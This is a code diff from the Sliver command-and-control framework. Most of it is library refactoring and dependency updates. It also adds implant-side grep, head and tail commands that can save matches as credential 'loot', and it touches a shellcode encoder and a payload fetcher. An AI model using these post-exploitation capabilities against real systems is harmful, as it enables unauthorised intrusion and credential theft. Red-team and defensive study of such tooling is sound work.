func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
shellcodeFile := args[0]
|
||||
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
|
||||
rawShellcode, err := os.ReadFile(shellcodeFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read shellcode file: %s", err)
|
||||
return
|
||||
@@ -73,7 +73,7 @@ func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
outputFile += ".sgn"
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0o644)
|
||||
err = os.WriteFile(outputFile, shellcodeResp.Data, 0o644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write shellcode file: %s", err)
|
||||
return
|
||||
|
||||
@@ -939,6 +939,91 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
|
||||
carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
|
||||
)
|
||||
|
||||
grepCmd := &cobra.Command{
|
||||
Use: consts.GrepStr,
|
||||
Short: "Search for strings that match a regex within a file or directory",
|
||||
Long: help.GetHelpFor([]string{consts.GrepStr}),
|
||||
Args: cobra.ExactArgs(2),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
filesystem.GrepCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
sliver.AddCommand(grepCmd)
|
||||
Flags("", false, grepCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("colorize-output", "c", false, "colorize output")
|
||||
f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)")
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
|
||||
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
|
||||
f.BoolP("recursive", "r", false, "search recursively")
|
||||
f.BoolP("insensitive", "i", false, "case-insensitive search")
|
||||
f.Int32P("after", "A", 0, "number of lines to print after a match (ignored if the file is binary)")
|
||||
f.Int32P("before", "B", 0, "number of lines to print before a match (ignored if the file is binary)")
|
||||
f.Int32P("context", "C", 0, "number of lines to print before and after a match (ignored if the file is binary), equivalent to -A x -B x")
|
||||
f.BoolP("exact", "e", false, "match the search term exactly")
|
||||
})
|
||||
carapace.Gen(grepCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("regex to search the file for"),
|
||||
carapace.ActionValues().Usage("remote path / file to search in"),
|
||||
)
|
||||
|
||||
headCmd := &cobra.Command{
|
||||
Use: consts.HeadStr,
|
||||
Short: "Grab the first number of bytes or lines from a file",
|
||||
Long: help.GetHelpFor([]string{consts.HeadStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
/*
|
||||
The last argument tells head if the user requested the head or tail of the file
|
||||
True means head, false means tail
|
||||
*/
|
||||
filesystem.HeadCmd(cmd, con, args, true)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
sliver.AddCommand(headCmd)
|
||||
Flags("", false, headCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("colorize-output", "c", false, "colorize output")
|
||||
f.BoolP("hex", "x", false, "display as a hex dump")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
|
||||
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
|
||||
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
|
||||
f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file")
|
||||
f.Int64P("lines", "l", 0, "Grab the first number of lines from the file")
|
||||
})
|
||||
carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
|
||||
|
||||
tailCmd := &cobra.Command{
|
||||
Use: consts.TailStr,
|
||||
Short: "Grab the last number of bytes or lines from a file",
|
||||
Long: help.GetHelpFor([]string{consts.TailStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
/*
|
||||
The last argument tells head if the user requested the head or tail of the file
|
||||
True means head, false means tail
|
||||
*/
|
||||
filesystem.HeadCmd(cmd, con, args, false)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
sliver.AddCommand(tailCmd)
|
||||
Flags("", false, tailCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("colorize-output", "c", false, "colorize output")
|
||||
f.BoolP("hex", "x", false, "display as a hex dump")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
|
||||
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
|
||||
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
|
||||
f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file")
|
||||
f.Int64P("lines", "l", 0, "Grab the last number of lines from the file")
|
||||
})
|
||||
carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
|
||||
|
||||
uploadCmd := &cobra.Command{
|
||||
Use: consts.UploadStr,
|
||||
Short: "Upload a file",
|
||||
|
||||
@@ -20,7 +20,6 @@ package tasks
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -782,7 +781,7 @@ func promptSaveToFile(data []byte, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, data, 0o600)
|
||||
err = os.WriteFile(saveTo, data, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save file: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
@@ -120,7 +119,7 @@ func UpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
|
||||
lastCheck := []byte(fmt.Sprintf("%d", now.Unix()))
|
||||
appDir := assets.GetRootAppDir()
|
||||
lastUpdateCheckPath := path.Join(appDir, consts.LastUpdateCheckFileName)
|
||||
err = ioutil.WriteFile(lastUpdateCheckPath, lastCheck, 0o600)
|
||||
err = os.WriteFile(lastUpdateCheckPath, lastCheck, 0o600)
|
||||
if err != nil {
|
||||
con.Printf("Failed to save update check time %s", err)
|
||||
}
|
||||
|
||||
@@ -23,8 +23,8 @@ import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"text/template"
|
||||
|
||||
@@ -95,7 +95,7 @@ func WGConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
|
||||
if !strings.HasSuffix(save, ".conf") {
|
||||
save += ".conf"
|
||||
}
|
||||
err = ioutil.WriteFile(save, output.Bytes(), 0o600)
|
||||
err = os.WriteFile(save, output.Bytes(), 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -192,7 +192,7 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds
|
||||
consoleLog := getConsoleLogFile()
|
||||
consoleLogStream, err := con.ClientLogStream("json")
|
||||
if err != nil {
|
||||
log.Printf("Could not get client log stream: %s", err)
|
||||
log.Printf("Could not get client json log stream: %s", err)
|
||||
}
|
||||
con.setupLogger(consoleLog, consoleLogStream)
|
||||
defer consoleLog.Close()
|
||||
@@ -202,6 +202,9 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds
|
||||
defer asciicastLog.Close()
|
||||
|
||||
asciicastStream, err := con.ClientLogStream("asciicast")
|
||||
if err != nil {
|
||||
log.Printf("Could not get client asciicast log stream: %s", err)
|
||||
}
|
||||
con.setupAsciicastRecord(asciicastLog, asciicastStream)
|
||||
}
|
||||
|
||||
@@ -547,7 +550,7 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
|
||||
Priority: uint32(0),
|
||||
})
|
||||
config := &clientpb.ImplantConfig{
|
||||
Name: session.GetName(),
|
||||
ID: session.ID,
|
||||
GOOS: session.GetOS(),
|
||||
GOARCH: session.GetArch(),
|
||||
Debug: true,
|
||||
|
||||
@@ -163,7 +163,7 @@ func (con *SliverConsoleClient) Println(args ...any) {
|
||||
logger := slog.New(con.jsonHandler)
|
||||
format := strings.Repeat("%s", len(args))
|
||||
logger.Info(fmt.Sprintf(format, args))
|
||||
con.printf(format, args...)
|
||||
con.printf(format+"\n", args...)
|
||||
}
|
||||
|
||||
// PrintInfof prints an info message immediately below the last line of output.
|
||||
|
||||
@@ -143,6 +143,8 @@ const (
|
||||
SettingsStr = "settings"
|
||||
SearchStr = "search"
|
||||
TrafficEncodersStr = "traffic-encoders"
|
||||
C2ProfileStr = "c2profiles"
|
||||
ImportC2ProfileStr = "import"
|
||||
|
||||
// Generic
|
||||
|
||||
@@ -180,6 +182,7 @@ const (
|
||||
HttpsStr = "https"
|
||||
NamedPipeStr = "named-pipe"
|
||||
TCPListenerStr = "tcp"
|
||||
UDPListenerStr = "udp"
|
||||
|
||||
MsfStr = "msf"
|
||||
MsfInjectStr = "msf-inject"
|
||||
@@ -201,11 +204,15 @@ const (
|
||||
MvStr = "mv"
|
||||
CpStr = "cp"
|
||||
RmStr = "rm"
|
||||
StageStr = "stage"
|
||||
MkdirStr = "mkdir"
|
||||
CdStr = "cd"
|
||||
PwdStr = "pwd"
|
||||
CatStr = "cat"
|
||||
DownloadStr = "download"
|
||||
HeadStr = "head"
|
||||
TailStr = "tail"
|
||||
GrepStr = "grep"
|
||||
UploadStr = "upload"
|
||||
IfconfigStr = "ifconfig"
|
||||
NetstatStr = "netstat"
|
||||
@@ -255,6 +262,7 @@ const (
|
||||
WgSocksStr = "wg-socks"
|
||||
WgPortFwdStr = "wg-portfwd"
|
||||
MonitorStr = "monitor"
|
||||
MonitorConfigStr = "config"
|
||||
SSHStr = "ssh"
|
||||
DLLHijackStr = "dllhijack"
|
||||
InteractiveStr = "interactive"
|
||||
@@ -287,11 +295,12 @@ const (
|
||||
|
||||
BuildersStr = "builders"
|
||||
|
||||
CrackStr = "crack"
|
||||
StationsStr = "stations"
|
||||
WordlistsStr = "wordlists"
|
||||
RulesStr = "rules"
|
||||
Hcstat2Str = "hcstat2"
|
||||
CrackStr = "crack"
|
||||
StationsStr = "stations"
|
||||
WordlistsStr = "wordlists"
|
||||
RulesStr = "rules"
|
||||
Hcstat2Str = "hcstat2"
|
||||
DefaultC2Profile = "default"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -22,7 +22,7 @@ import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -139,7 +139,7 @@ func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
|
||||
coffLoaderPath = "COFFLoader.x86.dll"
|
||||
}
|
||||
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
|
||||
loaderData, err := ioutil.ReadFile(loaderPath)
|
||||
loaderData, err := os.ReadFile(loaderPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -24,7 +24,7 @@ import (
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
@@ -161,7 +161,7 @@ func requestPayload(target string) ([]byte, error) {
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
|
||||
}
|
||||
return ioutil.ReadAll(resp.Body)
|
||||
return io.ReadAll(resp.Body)
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) refreshBeacon() {
|
||||
|
||||
@@ -3,7 +3,7 @@ package version
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io/ioutil"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
@@ -77,7 +77,7 @@ func CheckForUpdates(client *http.Client, prereleases bool) (*Release, error) {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
+9
-3
@@ -15,9 +15,15 @@ if command -v apt &> /dev/null; then
|
||||
DEBIAN_FRONTEND=noninteractive apt install -yqq \
|
||||
gpg curl build-essential git \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
INSTALLER=(apt install -yqq)
|
||||
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
|
||||
echo "Installing dependencies using yum..."
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
|
||||
INSTALLER=(yum -y)
|
||||
elif command -v pacman &>/dev/null; then # Arch-based (Manjaro, Garuda, Blackarch)
|
||||
echo "Installing dependencies using pacman..."
|
||||
pacman -S mingw-w64-gcc mingw-w64-binutils mingw-w64-headers
|
||||
INSTALLER=(pacman -S)
|
||||
else
|
||||
echo "Unsupported OS, exiting"
|
||||
exit
|
||||
@@ -25,9 +31,9 @@ fi
|
||||
|
||||
# Verify if necessary tools are installed
|
||||
for cmd in curl awk gpg; do
|
||||
if ! command -v "$cmd" &> /dev/null; then
|
||||
echo "$cmd could not be found, exiting"
|
||||
exit 1
|
||||
if ! command -v "$cmd" &> /dev/null; then
|
||||
echo "$cmd could not be found, installing..."
|
||||
${INSTALLER[@]} "$cmd"
|
||||
fi
|
||||
done
|
||||
|
||||
|
||||
+2
-2
@@ -20,8 +20,8 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.20.7"
|
||||
GARBLE_VER="1.20.7"
|
||||
GO_VER="1.21.4"
|
||||
GARBLE_VER="1.21.4"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
|
||||
|
||||
+8
-8
@@ -67,6 +67,14 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# util / minisign
|
||||
if go test -tags=server,$TAGS ./util/minisign ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
## Implant
|
||||
|
||||
# implant / sliver / extension
|
||||
@@ -131,14 +139,6 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / cryptography / minisign
|
||||
if go test -tags=server,$TAGS ./server/cryptography/minisign ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / gogo
|
||||
if go test -tags=server,$TAGS ./server/gogo ; then
|
||||
:
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.20
|
||||
go 1.21
|
||||
|
||||
toolchain go1.21.3
|
||||
|
||||
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca
|
||||
|
||||
@@ -16,14 +18,15 @@ require (
|
||||
github.com/cheggaaa/pb/v3 v3.1.2
|
||||
github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9
|
||||
github.com/chromedp/chromedp v0.9.1
|
||||
github.com/fatih/color v1.15.0
|
||||
github.com/glebarez/sqlite v1.8.0
|
||||
github.com/gofrs/uuid v4.4.0+incompatible
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/google/uuid v1.3.1
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/klauspost/compress v1.16.6
|
||||
github.com/klauspost/compress v1.17.0
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.17
|
||||
@@ -37,20 +40,20 @@ require (
|
||||
github.com/sirupsen/logrus v1.9.3
|
||||
github.com/spf13/cobra v1.7.0
|
||||
github.com/spf13/pflag v1.0.5
|
||||
github.com/stretchr/testify v1.8.2
|
||||
github.com/tetratelabs/wazero v1.2.1
|
||||
github.com/stretchr/testify v1.8.4
|
||||
github.com/tetratelabs/wazero v1.3.1
|
||||
github.com/things-go/go-socks5 v0.0.3
|
||||
github.com/xlab/treeprint v1.2.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.10.0
|
||||
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1
|
||||
golang.org/x/net v0.11.0
|
||||
golang.org/x/sys v0.10.0
|
||||
golang.org/x/term v0.9.0
|
||||
golang.org/x/text v0.10.0
|
||||
golang.org/x/crypto v0.14.0
|
||||
golang.org/x/exp v0.0.0-20230725093048-515e97ebf090
|
||||
golang.org/x/net v0.17.0
|
||||
golang.org/x/sys v0.13.0
|
||||
golang.org/x/term v0.13.0
|
||||
golang.org/x/text v0.13.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
google.golang.org/grpc v1.56.1
|
||||
google.golang.org/grpc v1.59.0
|
||||
google.golang.org/protobuf v1.31.0
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.5.1
|
||||
@@ -59,10 +62,11 @@ require (
|
||||
gorm.io/gorm v1.25.2
|
||||
gvisor.dev/gvisor v0.0.0-20230504175454-7b0a1988a28f
|
||||
modernc.org/sqlite v1.23.1
|
||||
tailscale.com v1.44.0
|
||||
tailscale.com v1.50.1
|
||||
)
|
||||
|
||||
require (
|
||||
cloud.google.com/go/compute/metadata v0.2.3 // indirect
|
||||
filippo.io/edwards25519 v1.0.0 // indirect
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
@@ -88,11 +92,12 @@ require (
|
||||
github.com/aws/smithy-go v1.13.5 // indirect
|
||||
github.com/chromedp/sysutil v1.0.0 // indirect
|
||||
github.com/coreos/go-iptables v0.6.0 // indirect
|
||||
github.com/coreos/go-systemd/v22 v22.4.0 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/dblohm7/wingoes v0.0.0-20230821191801-fc76608aecf0 // indirect
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/dlclark/regexp2 v1.4.0 // indirect
|
||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||
github.com/fatih/color v1.15.0 // indirect
|
||||
github.com/fxamacker/cbor/v2 v2.4.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/glebarez/go-sqlite v1.21.1 // indirect
|
||||
@@ -101,11 +106,12 @@ require (
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.1.0 // indirect
|
||||
github.com/godbus/dbus/v5 v5.1.0 // indirect
|
||||
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 // indirect
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
|
||||
github.com/golang/protobuf v1.5.3 // indirect
|
||||
github.com/google/btree v1.1.2 // indirect
|
||||
github.com/google/go-cmp v0.5.9 // indirect
|
||||
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.2 // indirect
|
||||
github.com/hdevalence/ed25519consensus v0.1.0 // indirect
|
||||
github.com/illarion/gonotify v1.0.1 // indirect
|
||||
@@ -141,10 +147,10 @@ require (
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
||||
github.com/rivo/uniseg v0.4.4 // indirect
|
||||
github.com/tailscale/certstore v0.1.1-0.20220316223106-78d6e1c49d8d // indirect
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20221115211329-17a3db2c30d2 // indirect
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e // indirect
|
||||
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05 // indirect
|
||||
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85 // indirect
|
||||
github.com/tailscale/wireguard-go v0.0.0-20230410165232-af172621b4dd // indirect
|
||||
github.com/tailscale/wireguard-go v0.0.0-20230824215414-93bd5cbf7fd8 // indirect
|
||||
github.com/tcnksm/go-httpstat v0.2.0 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63 // indirect
|
||||
@@ -152,14 +158,14 @@ require (
|
||||
github.com/vishvananda/netns v0.0.4 // indirect
|
||||
github.com/x448/float16 v0.8.4 // indirect
|
||||
go4.org/mem v0.0.0-20220726221520-4f986261bf13 // indirect
|
||||
go4.org/netipx v0.0.0-20230303233057-f1b76eb4bb35 // indirect
|
||||
golang.org/x/mod v0.10.0 // indirect
|
||||
golang.org/x/sync v0.2.0 // indirect
|
||||
go4.org/netipx v0.0.0-20230728180743-ad4cb58a6516 // indirect
|
||||
golang.org/x/mod v0.11.0 // indirect
|
||||
golang.org/x/sync v0.3.0 // indirect
|
||||
golang.org/x/time v0.3.0 // indirect
|
||||
golang.org/x/tools v0.9.1 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
|
||||
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
|
||||
google.golang.org/genproto v0.0.0-20230410155749-daa745c078e1 // indirect
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
cloud.google.com/go v0.26.0 h1:e0WKqKTd5BnrG8aKH3J3h+QvEIQtSUcf2n5UZ5ZgLtQ=
|
||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||
cloud.google.com/go v0.110.0 h1:Zc8gqp3+a9/Eyph2KDmcGaPtbKRIoqq4YTlL4NMD0Ys=
|
||||
cloud.google.com/go/compute v1.19.1 h1:am86mquDUgjGNWxiGn+5PGLbmgiWXlE/yNWpIpNvuXY=
|
||||
cloud.google.com/go/compute v1.23.0 h1:tP41Zoavr8ptEqaW6j+LQOnyBBhO7OkOMAGrgLopTwY=
|
||||
cloud.google.com/go/compute v1.23.0/go.mod h1:4tCnrn48xsqlwSAiLf1HXMQk8CONslYbdiEZc9FEIbM=
|
||||
cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY=
|
||||
cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA=
|
||||
filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg=
|
||||
filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE=
|
||||
filippo.io/edwards25519 v1.0.0 h1:0wAIcmJUqRdI8IJ/3eGi5/HwXZWPujYXXlkrQogz0Ek=
|
||||
filippo.io/edwards25519 v1.0.0/go.mod h1:N1IkdkCkiLB6tki+MYJoSx2JTY9NUlxZE7eHn5EwJns=
|
||||
filippo.io/mkcert v1.4.4 h1:8eVbbwfVlaqUM7OwuftKc2nuYOoTDQWqsoXmzoXZdbc=
|
||||
filippo.io/mkcert v1.4.4/go.mod h1:VyvOchVuAye3BoUsPUOOofKygVwLV2KQMVFJNRq+1dA=
|
||||
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.7 h1:6I/u8FvytdGsgonrYsVn2t8t4QiRnh6QSTqkkhIiSjQ=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.7/go.mod h1:xUTIdE4KCOIjsBAE1JYsUPoCqYdZ1reCfTwbto0Fduo=
|
||||
@@ -24,6 +27,7 @@ github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIps
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/toml v1.2.1 h1:9F2/+DoOYIOksmaJFPw1tGFy1eDnIJXg+UHjuD8lTak=
|
||||
github.com/BurntSushi/toml v1.2.1/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ=
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/Microsoft/go-winio v0.6.1 h1:9/kr64B9VUZrLm5YYwbGtUJnMgqWVOdUAXu6Migciow=
|
||||
@@ -46,6 +50,7 @@ github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQq
|
||||
github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74 h1:Kk6a4nehpJ3UuJRqlA3JxYxBZEqCeOmATOvrbT4p9RA=
|
||||
github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
|
||||
github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8=
|
||||
github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be/go.mod h1:ySMOLuWl6zY27l47sB3qLNK6tF2fkHG55UZxx8oIVo4=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
@@ -87,17 +92,22 @@ github.com/chromedp/chromedp v0.9.1/go.mod h1:DUgZWRvYoEfgi66CgZ/9Yv+psgi+Sksy5D
|
||||
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
|
||||
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
|
||||
github.com/cilium/ebpf v0.10.0 h1:nk5HPMeoBXtOzbkZBWym+ZWq1GIiHUsBFXxwewXAHLQ=
|
||||
github.com/cilium/ebpf v0.10.0/go.mod h1:DPiVdY/kT534dgc9ERmvP8mWA+9gvwgKfRvk4nNWnoE=
|
||||
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
||||
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
|
||||
github.com/coreos/go-iptables v0.6.0 h1:is9qnZMPYjLd8LYqmm/qlE+wwEgJIkTYdhV3rfZo4jk=
|
||||
github.com/coreos/go-iptables v0.6.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q=
|
||||
